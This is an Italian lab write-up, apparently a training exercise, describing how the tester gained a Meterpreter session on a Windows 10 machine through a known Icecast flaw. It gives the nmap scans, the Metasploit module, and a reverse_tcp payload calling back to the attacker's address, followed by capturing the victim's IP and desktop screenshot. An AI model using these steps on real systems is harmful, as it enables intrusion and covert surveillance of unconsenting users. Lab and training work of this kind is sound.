Introduzione

L'obiettivo di questo esercizio è ottenere una sessione Meterpreter sul target Windows 10 sfruttando una vulnerabilità nota nel software Icecast. Una volta ottenuta la sessione, sono state eseguite le seguenti azioni:

1. Identificazione dell'indirizzo IP del target.
2. Acquisizione di uno screenshot del desktop della macchina target tramite la sessione Meterpreter.

Il test è stato condotto su una macchina virtuale configurata con Icecast, mentre l'attaccante operava da un sistema Kali Linux.

Fasi dello svolgimento

1. Identificazione del target Ho eseguito una scansione delle porte aperte utilizzando il comando:

nmap -p- -T4 172.20.10.7

Dalla scansione, è emerso che la porta **8000** era aperta e associata a un servizio HTTP. Successivamente, ho verificato che questa porta fosse effettivamente utilizzata da Icecast con il comando:

nmap -A -T4 172.20.10.7

2. Configurazione di Metasploit Ho avviato Metasploit con il comando:

msfconsole

Ho cercato e selezionato il modulo di exploit appropriato per Icecast:

search icecast

use exploit/windows/http/icecast_header

Configurazione dei parametri principali:

- **RHOST**: Indirizzo IP della macchina target, impostato su `172.20.10.7`.
- **RPORT**: Porta del servizio Icecast, impostata su `8000`.
- **Payload**: `windows/meterpreter/reverse_tcp`.
- **LHOST**: Indirizzo IP del sistema attaccante, impostato su `172.20.10.3`.
- **LPORT**: Porta di ascolto sul sistema attaccante, impostata su `4444`.

Ho verificato la configurazione con:

options

3. Esecuzione dell'exploit Dopo aver configurato correttamente il modulo, ho lanciato l'exploit:

exploit

L'exploit è stato eseguito con successo, e ho ottenuto una sessione Meterpreter sulla macchina target.

4. Azioni eseguite sulla macchina target

- **Visualizzazione dell'indirizzo IP del target:** Ho utilizzato il comando:
  ipconfig
  Questo ha mostrato che l'indirizzo IP del target è `192.168.50.105`.
- **Acquisizione di uno screenshot del desktop:** Ho utilizzato il comando:
  screenshot
  Lo screenshot è stato salvato con successo nella directory di lavoro su Kali Linux.

Conclusione

L'esercizio ha dimostrato come sfruttare una vulnerabilità nota in Icecast per ottenere una sessione Meterpreter su una macchina Windows 10. Una volta stabilita la connessione, sono stati eseguiti comandi per raccogliere informazioni sul target, come l'indirizzo IP, e per acquisire uno screenshot del desktop della vittima.